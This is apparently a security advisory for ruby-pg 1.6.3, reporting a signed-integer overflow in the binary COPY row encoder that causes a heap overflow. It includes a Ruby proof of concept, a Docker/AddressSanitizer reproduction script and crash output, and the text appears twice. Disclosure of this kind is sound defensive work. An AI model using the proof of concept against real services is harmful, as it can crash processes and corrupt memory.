Summary
PG::BinaryEncoder::CopyRow adds four length bytes to an attacker-sized field length using signed int arithmetic. A near-INT_MAX field wraps the capacity request, then the encoder copies the full field into an undersized output string.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The binary COPY encoder gets the encoded field length as an int, then reserves 4 + strlen bytes for the length prefix and field data.
strlen = RSTRING_LENINT(subint);
PG_RB_STR_ENSURE_CAPA( *intermediate, 4 + strlen, current_out, end_capa_ptr );
write_nbo32(strlen, current_out);
current_out += 4;
ext/pg_copy_coder.c:410
For a field length near INT_MAX, 4 + strlen wraps negative. The capacity check does not reserve enough memory, but the subsequent copy still uses the original large strlen.
memcpy( current_out, RSTRING_PTR(subint), strlen );
current_out += strlen;
ext/pg_copy_coder.c:417
The PoC is inline below:
require 'pg'
$stdout.sync = true
$stderr.sync = true
n = 2_147_483_644
wrapped = ((n + 4 + (1 << 31)) % (1 << 32)) - (1 << 31)
puts "payload_len=#{n}"
puts "wrapped_expand_len=#{wrapped}"
puts 'allocating_payload'
s = "A".b * n
puts "string_len=#{s.bytesize}"
puts 'calling_copyrow_encode'
PG::BinaryEncoder::CopyRow.new.encode([s])
Reproduce
Create poc.rb from the inline artifact below, then run this on a machine with Docker:
mkdir -p dfvuln-789 && cp poc.rb dfvuln-789/ && cd dfvuln-789
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'
The reproduced sanitizer stack is included inline below:
==3510==ERROR: AddressSanitizer: unknown-crash
WRITE of size 2147483644
#0 0xffffb4a18f68 in __interceptor_memcpy
#1 0xffffb0f73208 in pg_bin_enc_copy_row /tmp/src/ext/pg_copy_coder.c:417
#2 0xffffb0f5d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
Address 0x100002ff8f652 is a wild pointer inside of access range of size 0x00007ffffffc.
SUMMARY: AddressSanitizer: unknown-crash in __interceptor_memcpy
Inline reproduction artifact(s):
poc.rb
require 'pg'
$stdout.sync = true
$stderr.sync = true
n = 2_147_483_644
wrapped = ((n + 4 + (1 << 31)) % (1 << 32)) - (1 << 31)
puts "payload_len=#{n}"
puts "wrapped_expand_len=#{wrapped}"
puts 'allocating_payload'
s = "A".b * n
puts "string_len=#{s.bytesize}"
puts 'calling_copyrow_encode'
PG::BinaryEncoder::CopyRow.new.encode([s])
puts 'unexpected_success'
Security Impact
This is a heap memory corruption bug in binary COPY row encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::BinaryEncoder::CopyRowadds four length bytes to an attacker-sized field length using signedintarithmetic. A near-INT_MAXfield wraps the capacity request, then the encoder copies the full field into an undersized output string.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The binary COPY encoder gets the encoded field length as an
int, then reserves4 + strlenbytes for the length prefix and field data.ext/pg_copy_coder.c:410For a field length near
INT_MAX,4 + strlenwraps negative. The capacity check does not reserve enough memory, but the subsequent copy still uses the original largestrlen.ext/pg_copy_coder.c:417The PoC is inline below:
Reproduce
Create
poc.rbfrom the inline artifact below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbSecurity Impact
This is a heap memory corruption bug in binary COPY row encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.
Credit
Zheng Yu from depthfirst (depthfirst.com)